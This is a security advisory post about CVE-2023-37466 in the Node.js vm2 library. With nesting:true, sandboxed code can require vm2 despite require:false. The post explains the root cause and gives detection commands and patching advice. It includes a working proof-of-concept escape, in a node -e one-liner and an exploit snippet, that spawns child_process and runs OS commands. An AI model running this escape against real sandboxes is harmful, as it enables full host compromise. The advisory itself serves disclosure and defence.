(Nodejs vm2), Sandbox Escape via nesting:true bypassing require:false, CVE-2023-37466 (Critical)

Listen to this Post

How CVE-2023-37466 works:

When `nesting: true` is set on a NodeVM, the resolver factory unconditionally injects `vm2` into the sandbox via `NESTING_OVERRIDE` (lib/nodevm.js:96-99). The vulnerable branch in lib/resolver-compat.js:193-197 checks if (!options). Without override, it returns `DENY_RESOLVER` (block all). But with nesting: true, `override` is the `NESTING_OVERRIDE` map, so the function builds a resolver that includes `vm2` as a builtin module – even when `require: false` is explicitly set. This happens because `requireOpts` is falsy, but the presence of `override` bypasses the deny path. Later, lib/builtin.js:102-106 merges `overrides` unconditionally, meaning `vm2` is always requireable inside a nested-enabled VM. Consequently, sandbox code can do `require(‘vm2’)` despite the outer VM’s `require: false` or restrictive allowlists. Once `vm2` is obtained, the attacker instantiates a new inner NodeVM with arbitrary `require` settings (e.g. { builtin: ['child_process'] }) and runs `execSync(“id”)` to execute OS commands on the host. The bug was introduced in commit 2353ce60 (Feb 8, 2022) and persisted through refactor 9e2b6051 (Apr 8, 2023). The JSDoc for `nesting` warns that scripts can create a NodeVM that requires any host module, but it does not warn that `require: false` is silently defeated – creating a dangerous mental model mismatch.

dailycve form:

Platform: Node.js vm2
Version: <3.9.17
Vulnerability: Nesting bypass
Severity: Critical
date: 2023-06-20

Prediction: Patch 2023-07-15

What Undercode Say:

Check vulnerable version
npm list vm2 | grep vm2@
Test PoC (do not run on production)
node -e "const {NodeVM}=require('vm2'); new NodeVM({nesting:true,require:false}).run('const{NodeVM:N}=require(\"vm2\");new N({require:{builtin:[\"child_process\"]}}).run(\"module.exports=require('child_process').execSync('id').toString()\")');"
Find all services using vm2 with nesting:true
grep -r "nesting: true" --include=".js" /path/to/app

Exploit:

const { NodeVM } = require('vm2');
const vm = new NodeVM({ nesting: true, require: false });
vm.run(<code>const { NodeVM: NVM } = require('vm2');
const inner = new NVM({ require: { builtin: ['child_process'] } });
module.exports = inner.run('require("child_process").execSync("id").toString()');</code>);

Protection from this CVE:

  • Upgrade vm2 to version ≥3.9.17 (patch released July 2023)
  • If upgrade impossible, never use `nesting: true` with untrusted code
  • Replace vm2 with isolated-vm or a native Node.js worker thread + `child_process.fork()` with explicit capabilities
  • Audit all `new NodeVM({ nesting: true, … })` occurrences and remove `nesting: true` unless absolutely necessary
  • Apply runtime monitoring to detect `require(‘vm2’)` calls inside sandboxes

Impact:

Full host compromise – arbitrary OS command execution as the process user. Attackers can read/write files, exfiltrate environment secrets, pivot laterally, install backdoors, or disrupt services. Any multi-tenant code runner (REPLs, plugin systems, CI sandboxes) using `nesting: true` with any `require` restriction is completely vulnerable.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top